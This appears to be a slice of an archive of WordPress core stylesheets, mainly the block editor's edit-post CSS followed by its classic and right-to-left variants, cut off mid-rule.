.components-toolbar-group{border-top:none;border-bottom:none}.edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar__block-parent-selector-wrapper,.is-sidebar-opened .edit-post-header-toolbar__block-toolbar{display:none}@media (min-width:782px){.is-sidebar-opened .edit-post-header-toolbar__block-toolbar{display:block;right:280px}}@media (min-width:1280px){.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down){position:static;left:auto;right:auto;background:none;border-bottom:none}.is-sidebar-opened .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down){right:auto}.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar{border-left:1px solid #ddd}.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar,.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar-group{height:60px;padding:6px 0}}.edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle.has-icon{margin-right:8px;min-width:32px;width:32px;height:32px;padding:0}.show-icon-labels .edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle.has-icon{height:36px}.edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle.has-text.has-icon{width:auto;padding:0 8px}.show-icon-labels .edit-post-header-toolbar__left>*+*{margin-left:8px}@media (min-width:1280px){.show-icon-labels .edit-post-header-toolbar__block-toolbar{position:absolute;top:61px;left:0;right:0;border-bottom:1px solid #ddd;padding:0;background-color:#fff}.show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar,.show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group{height:auto;padding:0}}.edit-post-more-menu{margin-left:-4px}.edit-post-more-menu .components-button{width:auto;padding:0 2px}@media (min-width:600px){.edit-post-more-menu{margin-left:0}.edit-post-more-menu .components-button{padding:0 4px}}.edit-post-more-menu__content .components-popover__content{min-width:280px}@media (min-width:480px){.edit-post-more-menu__content .components-popover__content{width:auto;max-width:480px}}.edit-post-more-menu__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.edit-post-more-menu__content{z-index:99998}.edit-post-template-title{display:inline-flex;flex-grow:1;justify-content:center}.edit-post-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-post-keyboard-shortcut-help-modal__main-shortcuts .edit-post-keyboard-shortcut-help-modal__shortcut-list{margin-top:-25px}.edit-post-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-post-keyboard-shortcut-help-modal__shortcut{display:flex;align-items:baseline;padding:.6rem 0;border-top:1px solid #ddd;margin-bottom:0}.edit-post-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-post-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-post-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.edit-post-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0;flex-basis:auto}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{display:block;background:none;margin:0;padding:0}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-post-keyboard-shortcut-help-modal__shortcut-key{padding:.25rem .5rem;border-radius:8%;margin:0 .2rem}.edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.edit-post-layout__metaboxes{flex-shrink:0}.edit-post-layout__metaboxes:not(:empty){border-top:1px solid #ddd;padding:10px 0;clear:both}.edit-post-layout__metaboxes:not(:empty) .edit-post-meta-boxes-area{margin:auto 20px}.edit-post-layout .components-editor-notices__snackbar{position:fixed;right:0;bottom:40px;padding-left:16px;padding-right:16px;left:0}@media (min-width:783px){.edit-post-layout .components-editor-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{left:160px}}.folded .edit-post-layout .components-editor-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-post-layout .components-editor-notices__snackbar{left:36px}}@media (max-width:783px){.auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar{left:190px}}@media (max-width:600px){.auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar{margin-left:-18px}}body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{left:0!important}.edit-post-layout .editor-post-publish-panel{position:fixed;z-index:100001;top:46px;bottom:0;right:0;left:0;overflow:auto}@media (min-width:782px){.edit-post-layout .editor-post-publish-panel{z-index:99998;top:32px;left:auto;width:281px;border-left:1px solid #ddd;transform:translateX(100%);animation:edit-post-post-publish-panel__slide-in-animation .1s forwards}}@media (min-width:782px) and (prefers-reduced-motion:reduce){.edit-post-layout .editor-post-publish-panel{animation-duration:1ms}}@media (min-width:782px){body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel{top:0}}@media (min-width:782px){[role=region]:focus .edit-post-layout .editor-post-publish-panel{transform:translateX(0)}}@keyframes edit-post-post-publish-panel__slide-in-animation{to{transform:translateX(0)}}.edit-post-layout .editor-post-publish-panel__header-publish-button{justify-content:center}.edit-post-layout__toggle-entities-saved-states-panel,.edit-post-layout__toggle-publish-panel,.edit-post-layout__toogle-sidebar-panel{z-index:100000;position:fixed!important;top:-9999em;bottom:auto;left:auto;right:0;width:280px;background-color:#fff;border:1px dotted #ddd;height:auto!important;padding:24px;display:flex;justify-content:center}.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toogle-sidebar-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toogle-sidebar-panel{top:auto;bottom:0}.edit-post-layout .interface-interface-skeleton__content{background-color:#ccc}.edit-post-layout__inserter-panel{height:100%;display:flex;flex-direction:column}.edit-post-layout__inserter-panel-header{padding-top:8px;padding-right:8px;display:flex;justify-content:flex-end}@media (min-width:782px){.edit-post-layout__inserter-panel-header{display:none}}.edit-post-layout__inserter-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-post-layout__inserter-panel-content{height:100%}}@media (min-width:600px){.edit-post-manage-blocks-modal{height:calc(100% - 120px)}}.edit-post-manage-blocks-modal .components-modal__content{padding-bottom:0;display:flex;flex-direction:column}.edit-post-manage-blocks-modal .components-modal__header{flex-shrink:0;margin-bottom:0}.edit-post-manage-blocks-modal__content{display:flex;flex-direction:column;flex:0 1 100%;min-height:0}.edit-post-manage-blocks-modal__no-results{font-style:italic;padding:24px 0;text-align:center}.edit-post-manage-blocks-modal__search{margin:16px 0}.edit-post-manage-blocks-modal__search .components-base-control__field{margin-bottom:0}.edit-post-manage-blocks-modal__search .components-base-control__label{margin-top:-4px}.edit-post-manage-blocks-modal__search input[type=search].components-text-control__input{padding:8px;border-radius:2px}.edit-post-manage-blocks-modal__disabled-blocks-count{border-top:1px solid #ddd;margin-left:-24px;margin-right:-24px;padding:.6rem 24px;background-color:#f0f0f0}.edit-post-manage-blocks-modal__category{margin:0 0 2rem}.edit-post-manage-blocks-modal__category-title{position:-webkit-sticky;position:sticky;top:0;padding:16px 0;background-color:#fff;z-index:1}.edit-post-manage-blocks-modal__category-title .components-base-control__field{margin-bottom:0}.edit-post-manage-blocks-modal__category-title .components-checkbox-control__label{font-size:.9rem;font-weight:600}.edit-post-manage-blocks-modal__show-all{margin-right:8px}.edit-post-manage-blocks-modal__checklist{margin-top:0}.edit-post-manage-blocks-modal__checklist-item{margin-bottom:0;padding-left:16px;border-top:1px solid #ddd}.edit-post-manage-blocks-modal__checklist-item:last-child{border-bottom:1px solid #ddd}.edit-post-manage-blocks-modal__checklist-item .components-base-control__field{align-items:center;display:flex;margin:0}.components-modal__content .edit-post-manage-blocks-modal__checklist-item.components-checkbox-control__input-container{margin:0 8px}.edit-post-manage-blocks-modal__checklist-item .components-checkbox-control__label{display:flex;align-items:center;justify-content:space-between;flex-grow:1;padding:.6rem 0 .6rem 10px}.edit-post-manage-blocks-modal__checklist-item .block-editor-block-icon{margin-right:10px;fill:#1e1e1e}.edit-post-manage-blocks-modal__results{height:100%;overflow:auto;margin-left:-24px;margin-right:-24px;padding-left:24px;padding-right:24px;border-top:1px solid #ddd}.edit-post-meta-boxes-area{position:relative}.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{box-sizing:content-box}.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{box-sizing:border-box}.edit-post-meta-boxes-area #poststuff{margin:0 auto;padding-top:0;min-width:auto}.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{box-sizing:border-box;color:inherit;font-weight:600;outline:none;padding:15px;position:relative;width:100%}.edit-post-meta-boxes-area .postbox{border:0;color:inherit;margin-bottom:0}.edit-post-meta-boxes-area .postbox>.inside{border-bottom:1px solid #ddd;color:inherit;padding:0 14px 14px;margin:0}.edit-post-meta-boxes-area .postbox .handlediv{height:44px;width:44px}.edit-post-meta-boxes-area.is-loading:before{position:absolute;top:0;left:0;right:0;bottom:0;content:"";background:transparent;z-index:1}.edit-post-meta-boxes-area .components-spinner{position:absolute;top:10px;right:20px;z-index:5}.edit-post-meta-boxes-area .is-hidden{display:none}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{border:1px solid #757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{background:#fff;border-color:#757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{margin:-3px -4px}.edit-post-meta-boxes-area__clear{clear:both}.edit-post-preferences-modal{min-width:360px;width:100%}@media (min-width:782px){.edit-post-preferences-modal{width:auto}}@media (min-width:600px){.edit-post-preferences-modal{height:calc(100% - 120px)}}.edit-post-preferences-modal .components-navigation{background-color:#fff;margin:-8px;padding:8px}.edit-post-preferences-modal .components-navigation .components-navigation__menu{margin:0;color:#1e1e1e}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item{color:#1e1e1e}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item>button{color:inherit;padding:3px 16px;height:48px}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item>button:focus{background:#f0f0f0;font-weight:500}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item>button:hover{color:#007cba;color:var(--wp-admin-theme-color)}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item .components-toggle-control__label{color:inherit}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__menu-title-heading{color:inherit;border-bottom:1px solid #ddd;padding-left:0;padding-right:0}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button{color:inherit;padding-left:0}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button:hover{color:#007cba;color:var(--wp-admin-theme-color)}.edit-post-preferences-modal .components-navigation .components-navigation__menu .edit-post-preferences-modal__custom-fields-confirmation-button{width:auto}.edit-post-preferences-modal .edit-post-preferences__tabs{display:flex;flex-direction:row}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs{width:160px}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{border-radius:2px;font-weight:400}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{background:#f0f0f0;box-shadow:none;font-weight:500}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tab-content{width:500px;padding-left:24px}.edit-post-preferences-modal__section{margin:0 0 2.5rem}.edit-post-preferences-modal__section-title{font-size:.9rem;font-weight:600}.edit-post-preferences-modal__option .components-base-control .components-base-control__field{align-items:center;display:flex;margin-bottom:0}.edit-post-preferences-modal__option .components-base-control .components-base-control__field>label{flex-grow:1;padding:.6rem 0 .6rem 10px}.edit-post-preferences-modal__custom-fields-confirmation-button,.edit-post-preferences-modal__custom-fields-confirmation-message{margin:0 0 .6rem 48px}@media (min-width:782px){.edit-post-preferences-modal__custom-fields-confirmation-button,.edit-post-preferences-modal__custom-fields-confirmation-message{margin-left:38px}}@media (min-width:600px){.edit-post-preferences-modal__custom-fields-confirmation-button,.edit-post-preferences-modal__custom-fields-confirmation-message{max-width:300px}}.edit-post-preferences-modal .components-base-control__help{margin:-8px 0 8px 58px;font-size:12px;font-style:normal;color:#757575}.edit-post-preferences-modal .edit-post-preferences-modal__section-description{margin:-8px 0 8px;font-size:12px;font-style:normal;color:#757575}.components-panel__header.edit-post-sidebar__panel-tabs{justify-content:flex-start;padding-left:0;padding-right:16px;border-top:0;margin-top:0}.components-panel__header.edit-post-sidebar__panel-tabs ul{display:flex}.components-panel__header.edit-post-sidebar__panel-tabs li{margin:0}.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{display:none;margin:0 0 0 auto;padding:0;min-width:24px;height:24px}@media (min-width:782px){.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{display:flex}}.components-panel__body.is-opened.edit-post-last-revision__panel{padding:0;height:48px}.editor-post-last-revision__title.components-button{padding:16px}.editor-post-author__select{margin:-5px 0;width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.editor-post-author__select{width:auto}}.edit-post-post-link__link-post-name{font-weight:600}.edit-post-post-link__preview-label{font-weight:400;margin:0}.edit-post-post-link__link{text-align:left;word-wrap:break-word;display:block}.edit-post-post-link__preview-link-container{direction:ltr}.edit-post-post-schedule{width:100%;position:relative;justify-content:left}.edit-post-post-schedule span{display:block;width:45%}.components-button.edit-post-post-schedule__toggle{text-align:right}.editor-post-slug__input{margin:-5px 0;padding:2px}.edit-post-post-status .edit-post-post-publish-dropdown__switch-to-draft{margin-top:15px;width:100%;text-align:center}.edit-post-post-template{width:100%;justify-content:left}.edit-post-post-template span{display:block;width:45%}.edit-post-post-template__value{padding-left:6px}.edit-post-post-visibility{width:100%;justify-content:left}.edit-post-post-visibility span{display:block;width:45%}@media (min-width:782px){.edit-post-post-visibility__dialog .components-popover__content{width:257px}}.edit-post-post-visibility__dialog-legend{font-weight:600}.edit-post-post-visibility__choice{margin:10px 0}.edit-post-post-visibility__dialog-label,.edit-post-post-visibility__dialog-radio{vertical-align:top}.edit-post-post-visibility__dialog-password-input{width:calc(100% - 20px);margin-left:20px}.edit-post-post-visibility__dialog-info{color:#757575;padding-left:20px;font-style:italic;margin:4px 0 0;line-height:1.4}.components-button.edit-post-sidebar__panel-tab{border-radius:0;height:48px;background:transparent;border:none;box-shadow:none;cursor:pointer;display:inline-block;padding:3px 15px;margin-left:0;font-weight:500}.components-button.edit-post-sidebar__panel-tab:after{content:attr(data-label);display:block;font-weight:600;height:0;overflow:hidden;speak:none;visibility:hidden}.components-button.edit-post-sidebar__panel-tab.is-active{box-shadow:inset 0 0 0 2px transparent,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) transparent,inset 0 -4px 0 0 var(--wp-admin-theme-color);position:relative;z-index:1}.components-button.edit-post-sidebar__panel-tab.is-active:before{content:"";position:absolute;top:0;bottom:1px;right:0;left:0;border-bottom:4px solid transparent}.components-button.edit-post-sidebar__panel-tab:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative;z-index:1}.components-button.edit-post-sidebar__panel-tab.is-active:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 -4px 0 0 var(--wp-admin-theme-color)}.edit-post-text-editor{position:relative;width:100%;background-color:#fff;flex-grow:1}.edit-post-text-editor .wp-block.editor-post-title{max-width:none;line-height:1.4}.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input.editor-post-title__input.editor-post-title__input{font-family:Menlo,Consolas,monaco,monospace;font-size:2.5em;font-weight:400}.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input{border:1px solid #949494;margin-bottom:-1px;padding:16px}@media (min-width:600px){.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input{padding:24px}}.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}@media (min-width:600px){.edit-post-text-editor .wp-block.editor-post-title{padding:0}}.edit-post-text-editor__body{width:100%;padding:0 12px 12px;max-width:1080px;margin-left:auto;margin-right:auto}@media (min-width:960px){.edit-post-text-editor__body{padding:0 24px 24px}}.edit-post-text-editor__toolbar{position:-webkit-sticky;position:sticky;z-index:1;top:0;left:0;right:0;display:flex;background:hsla(0,0%,100%,.8);padding:4px 12px}@media (min-width:600px){.edit-post-text-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-post-text-editor__toolbar{padding:12px 24px}}.edit-post-text-editor__toolbar h2{line-height:36px;margin:0 auto 0 0;font-size:13px;color:#1e1e1e}.edit-post-text-editor__toolbar .components-button svg{order:1}.edit-post-visual-editor{position:relative;flex:1 1 auto}.edit-post-visual-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-post-visual-editor .components-button.has-icon,.edit-post-visual-editor .components-button.is-tertiary{padding:6px}@supports ((position:-webkit-sticky) or (position:sticky)){.edit-post-visual-editor{flex-basis:100%}}.editor-styles-wrapper{background-color:#fff;cursor:text}.editor-styles-wrapper>*{cursor:auto}.edit-post-visual-editor__post-title-wrapper .editor-post-title{margin:2em auto 28px}.edit-post-welcome-guide{width:312px}.edit-post-welcome-guide__image{background:#00a0d2;height:240px}.edit-post-welcome-guide__image__prm-r{display:none}@media (prefers-reduced-motion:reduce){.edit-post-welcome-guide__image__prm-r{display:block}.edit-post-welcome-guide__image__prm-np{display:none}}.edit-post-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-post-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-post-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.block-editor-page,html.wp-toolbar{background:#fff}body.block-editor-page #wpcontent{padding-left:0}body.block-editor-page #wpbody-content{padding-bottom:0}body.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.block-editor-page #wpfooter{display:none}body.block-editor-page .a11y-speak-region{left:-1px;top:-1px}body.block-editor-page ul#adminmenu>li.current>a.current:after,body.block-editor-page ul#adminmenu a.wp-has-current-submenu:after{border-right-color:#fff}body.block-editor-page .media-frame select.attachment-filters:last-of-type{width:auto;max-width:100%}.components-modal__frame,.components-popover,.edit-post-header,.edit-post-layout__inserter-panel,.edit-post-sidebar,.edit-post-text-editor,.edit-post-visual-editor,.editor-post-publish-panel{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.components-popover *,.components-popover :after,.components-popover :before,.edit-post-header *,.edit-post-header :after,.edit-post-header :before,.edit-post-layout__inserter-panel *,.edit-post-layout__inserter-panel :after,.edit-post-layout__inserter-panel :before,.edit-post-sidebar *,.edit-post-sidebar :after,.edit-post-sidebar :before,.edit-post-text-editor *,.edit-post-text-editor :after,.edit-post-text-editor :before,.edit-post-visual-editor *,.edit-post-visual-editor :after,.edit-post-visual-editor :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before{box-sizing:inherit}@media (min-width:600px){.block-editor__container{position:absolute;top:0;right:0;bottom:0;left:0;min-height:calc(100vh - 46px)}}@media (min-width:782px){.block-editor__container{min-height:calc(100vh - 32px)}body.is-fullscreen-mode .block-editor__container{min-height:100vh}}.block-editor__container img{max-width:100%;height:auto}.block-editor__container iframe{width:100%}.wp-block{max-width:840px}.wp-block[data-align=wide]{max-width:1100px}.wp-block[data-align=full]{max-width:none}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-20:#006187;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-20:#064054;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/edit-post/classic-rtl.css000064400000004047151202620300013135 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .editor-styles-wrapper .wp-block{ margin-left:auto; margin-right:auto; } html :where(.editor-styles-wrapper){ padding:8px; } html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{ margin-left:-8px; margin-right:-8px; } html :where(.wp-block){ margin-bottom:28px; margin-top:28px; max-width:840px; } html :where(.wp-block)[data-align=wide]{ max-width:1100px; } html :where(.wp-block)[data-align=full]{ max-width:none; } html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{ height:0; width:100%; } html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{ content:none; } html :where(.wp-block)[data-align=left]>*{ float:left; margin-right:2em; } html :where(.wp-block)[data-align=right]>*{ float:right; margin-left:2em; } html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{ clear:both; } .wp-block-group>[data-align=full]{ margin-left:auto; margin-right:auto; } .wp-block-group.has-background>[data-align=full]{ margin-right:-30px; width:calc(100% + 60px); } [data-align=full] .wp-block-group>.wp-block{ padding-left:14px; padding-right:14px; } @media (min-width:600px){ [data-align=full] .wp-block-group>.wp-block{ padding-left:0; padding-right:0; } } [data-align=full] .wp-block-group>[data-align=full]{ max-width:none; padding-left:0; padding-right:0; right:0; width:100%; } [data-align=full] .wp-block-group.has-background>[data-align=full]{ width:calc(100% + 60px); }css/dist/edit-post/classic-rtl.min.css000064400000003522151202620300013714 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-styles-wrapper .wp-block{margin-left:auto;margin-right:auto}html :where(.editor-styles-wrapper){padding:8px}html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:-8px;margin-right:-8px}html :where(.wp-block){margin-bottom:28px;margin-top:28px;max-width:840px}html :where(.wp-block)[data-align=wide]{max-width:1100px}html :where(.wp-block)[data-align=full]{max-width:none}html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{height:0;width:100%}html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{content:none}html :where(.wp-block)[data-align=left]>*{float:left;margin-right:2em}html :where(.wp-block)[data-align=right]>*{float:right;margin-left:2em}html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{clear:both}.wp-block-group>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>[data-align=full]{margin-right:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>[data-align=full]{max-width:none;padding-left:0;padding-right:0;right:0;width:100%}[data-align=full] .wp-block-group.has-background>[data-align=full]{width:calc(100% + 60px)}css/dist/edit-post/classic.css000064400000004045151202620300012334 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .editor-styles-wrapper .wp-block{ margin-left:auto; margin-right:auto; } html :where(.editor-styles-wrapper){ padding:8px; } html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{ margin-left:-8px; margin-right:-8px; } html :where(.wp-block){ margin-bottom:28px; margin-top:28px; max-width:840px; } html :where(.wp-block)[data-align=wide]{ max-width:1100px; } html :where(.wp-block)[data-align=full]{ max-width:none; } html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{ height:0; width:100%; } html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{ content:none; } html :where(.wp-block)[data-align=left]>*{ float:left; margin-right:2em; } html :where(.wp-block)[data-align=right]>*{ float:right; margin-left:2em; } html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{ clear:both; } .wp-block-group>[data-align=full]{ margin-left:auto; margin-right:auto; } .wp-block-group.has-background>[data-align=full]{ margin-left:-30px; width:calc(100% + 60px); } [data-align=full] .wp-block-group>.wp-block{ padding-left:14px; padding-right:14px; } @media (min-width:600px){ [data-align=full] .wp-block-group>.wp-block{ padding-left:0; padding-right:0; } } [data-align=full] .wp-block-group>[data-align=full]{ left:0; max-width:none; padding-left:0; padding-right:0; width:100%; } [data-align=full] .wp-block-group.has-background>[data-align=full]{ width:calc(100% + 60px); }css/dist/edit-post/classic.min.css000064400000003654151202620300013123 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-styles-wrapper .wp-block{margin-left:auto;margin-right:auto}html :where(.editor-styles-wrapper){padding:8px}html :where(.editor-styles-wrapper) 